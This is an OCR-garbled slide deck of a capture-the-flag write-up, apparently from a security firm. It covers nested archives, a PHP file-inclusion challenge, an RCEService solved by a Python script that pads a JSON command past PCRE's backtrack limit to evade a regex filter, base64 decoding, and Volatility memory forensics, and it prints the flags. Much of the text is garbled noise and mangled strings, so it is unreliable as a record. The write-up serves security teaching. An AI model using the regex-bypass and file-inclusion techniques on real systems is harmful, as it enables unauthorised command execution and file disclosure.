}kvﬂzmovoo¢¢yoooomoooioooo}¢VGO¢B¢@¢00]{000000?&0060;cuuotoﬂoo[o}o_}oo{obéooe
eopeneecee  eelle voopeseveeve]e ' sepeehe-ee>eleeeree-0/eogee[T 00eeveevelovecre
w}}o¢o>oon¢o¢¢>oo”gooooooomﬂoo+5omoozorqoovoo>oolooogooqiozoo@ooonooo“¢e¢w¢o¢
weelee {ezopeeeeeeee|eloneseesece/wemleleceoeeleMecese 0o {oonev|eol{n{ueese
}ooo#ooﬂoono}OOmoaoyﬂgwe?uogo}o[0k0¢=030w}oooxo{eofoegooookoo{ooﬂoﬂoooowqojvo
lee"vee lee]eeple[fecoyeseloecoe]elnezeceeloocescspoelyxleeezeT|eepeeeseeoyzoy
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— |- ~/Desktop |

= file flag.txt
flag.txt: bzip2 compressed data, block size = 900k

— |-[~/Desktop
— «d flag.txt cac 1
000POROO: 425a 6839 3141 5926 5359 b976 43fd @@b7 BZh91AY&SY.vwC ...

|- [~/Desktop
flag.txt 1eac

1

|- ~/Desktop]
flag.txt flag.bz2

|-[~/Desktop]
flag.bz2




Rabbit NN X
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Rabbit

‘ |- [~/Desktop]
— file ﬂa
flag: Zip archive data, at least v2.0 to extract, compression method=deflate

|- ~/Desktop]

1|

-[~/Desktop]
flag flag.zip

" |- [ ~/Desktop]

— zip flag.zip

Archive: flag.zip
inflating: flag.txt




S
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flag.txt




S
Rabbit

|- ~/Desktop
flag.zip

|- [~/Desktop]
file flag.txt

flag.t gzip compressed data, was "flag.txt", last modified: Thu Mar 17 09:
14:46 2022, from Unix, original size modulo 2"32 300437

|- ~/Desktop’
flag.txt SAC 1




S
Rabbit

( J-[~/Desktop]
v flag.txt flag.gz

|~ [~/Desktop
z

|- [~/Desktop

—$ file flag.txt
flag.txt: XZ compressed data, checksum CRC64

|~ [~/Desktop
flag.txt 1eac 1




Rabbit

- ~/Desktop]
flag.7z

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utfl6=on,HugeFiles=on,64 bits,4 CPUs
Intel(R) Core(TM) i7-8850H CPU @ 2.60GHz (9@6EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 300144 bytes (294 KiB)

Extracting archive: flag.7z

WARNING:

flag.7z

Can not open the file as [7z] archive
The file is open as [xz] archive

Path = flag.7z

Open WARNING: Can not open the file as [7z] archive
Type = Xz

Physical Size = 300144

Method = LZMA2:23 CRC64

Streams =

Blocks = 1

S
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NS WN

true
f flag.txt

flag.bz2
-d flag.bz2

flag.zip
flag.zip
flag.zip

flag.gz
-d flag.gz

flag.7z
p7zip -d flag.7z

1

504b"

Rabbit

test.sh

S
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— )-[~/Desktop]

Archive: flag.zip
inflating: flag.txt
Archive: flag.zip
inflating: flag.txt
Archive: flag.zip
inflating: flag.txt
Archive: flag.zip
inflating: flag.txt

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2816-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utfl6=on,HugeFiles=on,64 bits,4 CPUs
Intel(R) Core(TM) i7-885@H CPU @ 2.60GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 300144 bytes (294 KiB)

Extracting archive: flag.7z

WARNING:

flag.7z

Can not open the file as [7z] archive
The file is open as [xz] archive




S
Rabbit

- ~/Desktop
~at flag
ZmxhZ3tOMDBfbTRueV9EMXBTZ JFsM30=

- [ ~/Desktop_

~at flag 2G4
flag{te0_m&ny_z1p_f113}




[Mon

[Mon Jun 1

Jun

Had

/home/kali/had-bad-day/challenge
had-bad-day
Could not reliably
di ti globally
Could not reliabl

[core:noti
1 [mpm_pre

/home/kali/had-bad-day/challenge
80:80 had-bad-day
iably determine th
o suppress this me

liably determine th

to suppress this
[mpm_pref

- resuming normal

[Mon Jun
A 7

2.

"GET

/css/ma

Bad Day

(Debian)

t

PHP/

-0 FOREGROUND'
ing down gracefully

fully gualified domain pame, using 172.17.0.2

fully gualified domain name, using 172.17.8.2

1 [pid 1] AH®@163: Apach .4.53 (Debian)

PHP/

1] AH@@894: Command line: 'apache2 -D FOREGROUND'

%

HTTP/1.1" 2 1la/5.8 (X11; Li

180181 Firefox/91.0"

"GET

.cs5 HTTP/1.

"-" "Mpzilla/5.@ (X11;

/91.8"

/is/material.min.js HTTP/1.1" 288 1285

19

ocalhost/"

"http:

645

al.min.css HTTP/1.1" 2880 21893 "http 47 -0 L e

.4,38 confi

3@ config

/7 "Mozil

19.9.1/" "Mozilla/5.@ (

2.19.8.1/"

"Mozilla

8.1/" "Mozilla/5.@ (X11

Linus

localhost/"

"Mozilla/5.@ (X

"Mozilla/

S
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S
Had Bad Day

Had a bad day?

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer
you up!

Flag is here : /secret/flag.php

s | e



S
Had Bad DCIy

<p>

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable imag

</

error_reporting :
$file $_GET]

F(isset($file))

strpos( $file, i strpos( $file, ! Il strpos( $file,
¢ ($file




S
Had Bad Day

167.71.223.179

Cheer up!

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer
you up!

Flag is here : /secret/flag.php
PCEILSBDYW4geW91IHJIYWQgdGhpcyBmbGFnPyAtLT4KPDwaHAKIC8vIGZsYWd7aGFwceGIuZXNzX251ZWRzX25vX2ZpbHRIcnNICjB+Cg==



S
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Had Bad Day

B pentest — tester@playground

=> ~/pentest $ echo -n "PCEtLSBDYW4geW91IHJ1YWQgdGhpcyBmbGFnP
N9C;8+Cg=="' | baseb4 -d

<!-- Can you read this flag? -->

<?php
// |flag{happiness_needs_no_filters}

7>




S
RCEService

N A Not Secure | 167.71.223.179

Web Adminstration Interface

Flag is here: /home/rceservice/flag
Enter command as JSON: \




S
RCEService

-REQUEST
$_REQUEST[
(!is_string
0

(preg_match(

, $json)) {

n>
Flag is here: /home/rceservice/flag
Enter command as JSON:




S
RCEService

& c A Not Secure | 167.71.223.179

Web Adminstration Interface

Flag is here: /home/rceservice/flag
Enter command as JSON: |{“cmd":"ls"} ’




RCEService

C A Not Secure | 167.71.223.179/?2cmd=%7B"

Web Adminstration Interface

Attempting to run command:
index.php

Flag is here: /home/rceservice/flag
Enter command as JSON:

v O D AN AN/ T
Cl ;ILJ‘ Y3A'IS % /D

S

SOSECURE



S
RCEService

Runtime Configuration

The behaviour of these functions is affected by settings in php.ini .

PCRE Configuration Options

Name Default Changeable Changelog
pcre.backtrack_limit "1000000" PHP_INI_ALL
pcre.recursion_limit "100000" PHP_INI_ALL

pcre.jit " PHP_INI_ALL



S
RCEService

rt requests

padding = *
target =
payload = + padding

= requests.post(target, data={ : payload})
print(r.text)




S
RCEService

tester@playground: ~/test$
tester@playground: ~/test$ python3 exploit.py
<html>
<body>
<hl>Web Adminstration Interface</hl>

Attempting to run command:<br/>flag{pr3g_M@tcH_m@K3s_m3_w@Nt_t@_cry!!1!!11}
<br/><br/>

<form>
Flag is here: /home/rceservice/flag<br>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>




Baseb4Baseb4Baseb4

cipher. txt

VmOwd2QyUX1VWGXWVed4V1YwZDRWMV13WKRSVO1WbDNXalJdTVjAxV2JET LhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJ1R115U2tWVWIHaG9uUV1Z3Vv1l
ZadGNFSmxSbGw1VTJI0V1ZXSkhhRz1VVmxaM1ZsWmF jVkZOUmxSTmIFCEpWbTEWYTFKSFNrZGpSVGxhVmpOU1lIxcFZXbUZrUjA1R1UyMTRVMkpIZHpG
V1ZFb3dWakZhV@Z0cmFHaFNLbXhXVm1wT1QwMHhjR1pYY1VaclVqQTFSMXBGV2x0VWIGcFZWbXR3V]jIKVVIYZFdhalpYWkVaT2MxZHNhR2XTTW1oWl
YXxZDRiMK15Vm50VmIGWLRZbFZhY2xWcVFURTNNV1Y1VFZSU1ZrMXJ jRWxhUOhCSFZqRmFSbU16WkZkaGExcG9WakIhVDI0dFJ raGhSazVzwWwwxob1dG
WnRNSGhPUM14V1RVaGOXROpyT1ZsWmIGWmhZMVphZEdSSFJI rNVNiRm93V2xWYVQxWLhTbFpqUldSYVRVWMFNMVpxU2tBV1ZrcFpXalp3VjFKV2NIbF
dWRUpoVKRKT2MyTkZhR3BTYkVwVVZteGORMWRZzV1hoWGIFNVRUV3hHT1ZWdGRHdGhiRXAwVld4cldtSkdXbWhaTw5oWFL6R1djbHBHWkdsU2J rSmFw
MnhXWVZReFdsaFRiRnBZVmtWd1YxbHIXa3RUUmxweFUydGFiR1pzV2xwWGEXCcDNZa2RGZWxGecmIGaFhTRUpJIVmMtSS1UxWXhXbLZWY ldoVFLYcFd1lbG
RYZUc5aU1XUkhWMjVTVGxKSFVsWLVWbHBIVFRGU1ZtRkhPV2hpUlhCN1dUQmFjMWROU2tkWGIXaGFUVzVvVOZreFdrZFdWa3B6VkdzMVYwMVZiekZX
YLhCTFRrWLILRmRzYUZSavJuQnhwV3hrVTFsV1VsWLhiVVpPVFZad2VGVXLKREIXTVZweVkwWndXROV4YOROV2F rnkxWakpPU1dKR1pGZFNWWEJ2Vm
10UIMXUXLUWGXVYTFwb1VqTkNWRMXZYOZKWFZSscFLZMFU1YVUXxcmJEULdNV2h2V1ZaS1IxTnNaR1ZXYkZwN1ZHeGFZVmRGT L ZaUFZtaFRUVWhDU2xa
C1pEUmpNV1IWVTI®b2FGSNNTbGhVV1ZWwM1Z rWmFjVk5yWkZ0aVIrcDZWa2N4YzFVeVNuS1RiVVpYVFclbldGZFdXbEpsUm1SellVWINhVKp1UWxwV2
JYUlhaREZaZUdKSVNsaGhNMUpVV1cxNGQyVkdwWwGxrUjBacFVteHd LbFV5ZUhkWGIGcFhZMGhLVjFaRldreFdha3BQVTFkS1IxcEdaRk5XVOVKMLZt
MTBVMU14VVhsVmEYULVZbXR3YUZWdE1XOWpSbHB4VkcwNVYXWnRVbGhXVjNNMVZXc3hXR1ZyYUZKTmFsWLVWa2QewVZKc1RuTmhSbFpYWwxaRmQxwn
FRbUZaVm1SSVZXdGOhMUpOYUZSVVZXaERVMnhhYzFwRVVtcESWMUL3VLIRKMGIyRkdTbk5UYkdoV1ZsWndNMVpyV21GalZrcDFXalpPVjJFeGNEVLdS
RVpyWXpGVmQwWMULiRZ2hTY lhoWVdXeGORMVIHVWSKWGIFCHNVbTFTZWxsV1dsTmhSVEZ6VTI1blYxWjZRalIVYTISSFVqRmMFXVNBIYUZOV1ZGW1ZWbG
N4TkdReVZrZFdXR3hyVWpOU2IxbHNWbmRXTVZwWMFkwZEdXROpHYBZoWk IHUNZWMnhhVOZWc 1pHR1dWMUpRY1RCVKSWWXh jRWhoUjJoT1UwVktNbFpe
TVRCVK1VMTRWVmhzVm1FeVVsV1piWFIzWVVaV2RFMVhPV3BTYKhCNFZry3dovevsu2tkallxaFhZbFICTVZaWGMzaFhSbFp6WVVaalRsWXLhREpXTV
ZwaFV6RkpLR1J1VmxKaVJscFLXV3RvVUTFkV1drZFZhMLIXVFZad01lGVnRkRz LWUmXwMFZXczVWMkZyV2t4VkluaHIWakZhZEZKAGNFNVANVWwzVmxS
S©1HRXhaRWhUYkdob1lVqQmFWbFplY®Zka2JGbDNWMjVLYkZKdFVubGFSV1F3V1IRKRMVsSRNFXbGRpU]jFFd1ZruktSMV14VGxsalJuQkoUVzFvV1ZkVl
VrZGtNalpIVjJ4V1UySkdjSESWYLRGVFRWWLZ1VO42UmxoU2EzQmFWVmMMXY jFZeFdYcGhTRXBWWVRKUINGVNFSbUZYVm5CSV1VWKkOWMVpHV2xaV2JH
TjRUa2RSZVZaclpGZGlSMUp2V1cld2MySXhVbGRYYm1Sc1l rvnNOVmt3Vm1OVO1ERKZVbXBHV2xaWGFFeFdNbmhoVjBaV2NscEhSbGROTW10S1YxUk
plRk14UlhoallXaHBVbTFvVkZac2FFTLRNVNAWVFZSQ1ZrMVZNVFIXYkdodlYWWmtTROZHYkZwaVdHaGIWbTER®YZzJ0c2NFaFBWMEIJUWWtoQO5GWNIZ
M2RPVjBWNVUydGthbEpYYUZoWmJGSkNUV1phvVedNemFGaFNiRm94V1RCYWEXUNRSbK5YYXpGWFLXdETjbFY2Ums5UB1WcDFWV3hPYVZIeFNuWLlhwbE
PIWKRGT1YXxZHIJhR3RTTUZwaFZtMXpNVk5XV2x0all6bGOUV1Z3TUZaWESVT LdNa3BIWVVWU1ZrMVdjR2haTVZwUFKkxWLd jMWRYTLZKTL1ZXd3pWbXhT
UzAXSFNYbFNhMLJIVWW1zMVZWbHJaRz LXYkZwMFpVaGtUazFXYKROVO1qVkxZalpLZEZWdWIHRINWMUL6V1ZaYV1XTnRUalppUm1lScFVqRkZKMWRXVW
tOUO1WbDRWRzVXVm1KRINsaFZiRkpYVjFaYVIxbDZSbWxO0VjFKSVdXdG9SMVpIULlhoalNFNVdZbFIHVkZZeWVHdGpiRnBWYW14alRsWnVRalpYVkVK
aFZgRmtSMWRZYBZaaWEzQlIWbXRXWVdWc1duRINiR1IXVFZKkU2VsbFZaSESXTVZwMVVXeEdWMkV4YOdoWFZtUlNaVlphY2xwR1pGaFNNMmg1VmxkMF
YxTXhaRWRXYmXKCLUWZFNjMWxyV250T1ZsSnpXWHBXVjAXxRVIsZFphMUpoVjJ4YVdHRKkhhRmMRoOYTNCSVdAUSXhUMUpOVmtkWGF6VLhZbXRLU2XxZeWRG
ZFdhelZYVjFob2FsS1lhVbWhWYlhNe FYwWLpkMVpyZEU1aVJuQXdWR1pTUTFacklWWk5WRkpYVmOxb2VsWnNXbXRUUjFaSFYyeHdWMUpXY jNwWFYzQk
hwakpPVjFWdVNsVm1SMUpVYV1d4b2IwNvdXb1J0UkVab1RWWNNOR115T1lUSaGIFCcEdVM]j FvVjIKSFVrovvwbHBoV jBKTmVtRkdhRk5pUmSBML1YxWldzZ
VOV4VWS50WFdHeG9ValZ3VeZSV1duZGhSbFKkyVW10d2JGSnNTakZXY lhoTFlwwkt jMk5HYKZoVOOXSjIWVLIHYTFZeFpISmFSbHBvVFd4S1dGWkdXbu
ZrTURGSFZTNVNhMUo2YkZkVmIYaDNUVVpzVmxkc1RsaGLWWEJJVIRCVEO5GWNINWFZoUOVWWFLXdGFhRNBGY210alIwNUdUbFprvGxaWGQzcFdiWGhu
o i DL E ATy y vl £ 3 Tl 7. 3 . / c o = o aTl = [NITATEN
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Baseb4Baseb4Baseb4

4P decodeb64.py

import baset4

('cipher.txt',
cipher = f. L)-

7 cipher = base64. S e(cipher)
if 'flag' in cipher.decode():
int(cipher.de e())

-;i_;i(l)

)—[/tmp/test ]

pythe decodeb64 . py
flag{l00ks_1llke a 10t of 64s}
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Remember-me

yl.py -f remember.mem imagein
Volatility Foundation Veolatility Framework 2.6.1
INFO : volatility.debug
Suggested Profile(s)
@@, Win7s5P1l=86

No PAE
B=185000L
B=82949c28L
Processors @ 1
vice Pack) : 1
for B : B=8294acedlL
KUSER_SHARED_DATA : @=ffdfeeesL
Image date and time : 2020-81-20 16:40:00 UTC+20080
local date and time : : A-01-20 18:40:00 +0200




Volatility Foundation tility Framework 2.6.1

Remember-me

iehistory

kkkkkkkkkkkkkktkkkhtthd khkkkkkkkkkkkkkkkkhkkkithikihk

Last

kkkkkk

Last Hudlt1=
Last

File fo
kkAkEAkEkEktkhkih

ocid=iehp

. Data U++59T' <@, Datq Length:
AhkkkkEhdkhhkddhdhkhddidhddihdhtdhhidhhidhiii

global-s-msn-com.akamaized.net/

, Data Offs @, Data Length:
L L ey L)

, Data Offset: , Data Length

AEEEEEEEEEEERREEREEEEAEREAAEEkAhkkkhkkhhkhkik
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Remember-me

Process: 1424 explorer.
Cache type "DEST" at @=4f2
Last modified: 2020-01-28 18:3 UTC+2@88

Last accessed: 2020-81-28 16: UTC+B006
URL: John the ripperamhttp: com/news/search?g=Zmxh
GF@awWxpdH198FORM=HDRS

BRI M hZ 3t LZWVwX3VzaWsnX3ZvbGF@aw=pdH1 9 Rk News

/xpdHI9&form=HDRSCA

&« c @ bing.com/search?format=rss&q=ZmxhZ3tLZWVw)}3VzaW5nX3ZvbGF

This XML file does not appear to have any style information associated with it. The document tree is shown below.

WA3IVZawsnx3Zvb

v<rss version="2.@">
v <channel>
<title>Bing: ZmxhZ3tLZWVwX3VzaW5nX3ZvbGF@aWxpdH19</title>
<link>http://www.bing.com:80/search?q=ZmxhZ3tLZWVwX3VzaW5nX3ZvbGF@akxpdH19</1link>
<description>Search results</description>
v <image>
<url>http://www.bing.com:8@/s/a/rsslogo.gif</url>
<title [ZmxhZ3tLZIViX3VZaNoNX 3ZvbGFralxpdHISk /title>
<link>http://www.bing.com:80/search?q=ZmxhZ3tLZWVwX3VzaW5nX3ZvbGF@aWxpdH19</link>

</image>

<copyright>Copyright © 2822 Microsoft. All rights reserved. These XML results may not be used, reproduced or transmitted in any
rendering Bing results within an RSS aggregator for your personal, non-commercial use. Any other use of these results requires
Corporation. By accessing this web page or using these results in any manner whatscever, you agree to be bound by the foregoing

</channel>
</rss>
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Remember-me

Recipe BB E  nput
. ZmxhZ3tLZWVwWX3VzaWsSnX3ZvbGFBakixpdHlg
Magic o n
"-‘. S D Intensive mode I:] Extensive language support
Crib (known plaintext string or regex)

From Base64 S n
Alphabet
A-Za-20-9+/= *  [J Remove non-alphabet chars

D Strict mode

Output

flag{Keep_using_volatility}

+ 03 8

Tr Raw Bytes

B0 ®

& LF

ra
La

S
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MORE THAN SECURE

{rAtudananeno

CONTACT US

TEL : 061 564 5294

Line : @SOSECURE
WWW.SOSECURE.CO.TH
Facebook.com/SOSECURE




